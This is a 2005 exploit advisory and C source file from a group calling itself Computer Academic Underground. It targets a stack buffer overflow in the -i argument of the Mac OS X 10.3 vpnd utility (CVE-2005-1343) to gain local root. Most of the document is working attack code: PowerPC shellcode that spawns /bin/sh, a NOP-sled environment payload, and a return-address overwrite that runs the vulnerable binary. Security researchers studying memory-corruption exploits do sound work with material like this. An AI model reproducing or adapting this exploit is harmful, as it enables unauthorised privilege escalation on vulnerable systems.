____ ____ __ __ / \ / \ | | | | ----====####/ /\__\##/ /\ \##| |##| |####====---- | | | |__| | | | | | | | ___ | __ | | | | | ------======######\ \/ /#| |##| |#| |##| |######======------ \____/ |__| |__| \______/ Computer Academic Underground http://www.caughq.org Exploit Code ===============/======================================================== Exploit ID: CAU-EX-2005-0005 Release Date: 2005.06.30 Title: CAU-vpnd.c Description: Mac OS X 10.3 vpnd -i Argument Overflow Exploit Tested: Mac OS X 10.3.9 Attributes: Local, Elevated Privileges Exploit URL: http://www.caughq.org/exploits/CAU-EX-2005-0005.txt Author/Email: intropy ===============/======================================================== Description =========== This exploit targets a vulnerability in the -i commandline parsing of vpnd. When supplying a parameter of length x we trigger a classic return pointer overwrite. Credits ======= Peter de Boer is credited with discovering this vulnerability. References ========== http://osvdb.org/displayvuln.php?osvdb_id=16085 http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-1343 http://www.securityfocus.com/bid/13488/info Exploit ======= /* * * Mac OS X vpnd root exploit * * intropy (intropy caughq.org) * */ #include #include #include #include #define DEBUG 1 #define BUFFERSIZE 2048 #define EGGSIZE 2048 #define NOP 0x60 #define ADDRESS 0xbffffffe - (BUFFERSIZE/2) /* ghandi */ char shellcode_binsh[] = "\x7c\xa5\x2a\x79" /* xor. r5, r5, r5 ; r5 = NULL */ "\x40\xa2\xff\xfd" /* bnel shellcode */ "\x7f\xe8\x02\xa6" /* mflr r31 */ "\x3b\xff\x01\x30" /* addi r31, r31, 268+36 */ "\x38\x7f\xfe\xf4" /* addi r3, r31, -268 ; r3 = path */ "\x90\x61\xff\xf8" /* stw r3, -8(r1) ; argv[0] = path */ "\x90\xa1\xff\xfc" /* stw r5, -4(r1) ; argv[1] = NULL */ "\x38\x81\xff\xf8" /* subi r4, r1, 8 ; r4 = {path, 0} */ "\x3b\xc0\x76\x01" /* li r30, 30209 */ "\x7f\xc0\x4e\x70" /* srawi r0, r30, 9 */ "\x44\xff\xff\x02" /* sc ; execve(r3, r4, r5) */ "/bin/sh" ; unsigned long cex_load_environment(char *env_buffer, char *address_buffer, char *payload, int environment_size, int buffer_size) { int count, env_size = strlen(payload) + environment_size + 4 + 1; unsigned long address, *ret_addressp; if (DEBUG) printf("Adding nops to environment buffer..."); for ( count = 0; count < env_size - strlen(payload) - 1; count++ ) { *(env_buffer++) = NOP; } if (DEBUG) printf("size %d...\n", count); if (DEBUG) printf("Adding payload to environment buffer..."); for ( count = 0; count < strlen(payload); count++ ) { *(env_buffer++) = payload[count]; } if (DEBUG) printf("size %d...\n", count); env_buffer[env_size - 1] = '\0'; memcpy(env_buffer, "CAU=", 4); memset(address_buffer, 'A', buffer_size); address = ADDRESS; if (DEBUG) printf("Going for address @ 0x%lx\n", address); if (DEBUG) printf("Adding return address to buffer..."); ret_addressp = (unsigned long *)(address_buffer+3); for ( count = 0; count < buffer_size; count += 4) { *(ret_addressp++) = address; } if (DEBUG) printf("size %d...\n", count); address_buffer[buffer_size - 1] = '\0'; return( 0 ); } int main() { char *buffer, *egg; char *args[3], *envs[2]; buffer = (char *)malloc(BUFFERSIZE); egg = (char *)malloc(EGGSIZE); cex_load_environment(egg, buffer, (char *)&shellcode_binsh, EGGSIZE, BUFFERSIZE); args[0] = "/usr/sbin/vpnd"; args[1] = "-i"; args[2] = buffer; args[3] = NULL; envs[0] = egg; envs[1] = NULL; execve( "/usr/sbin/vpnd", args, envs ); return( 0 ); }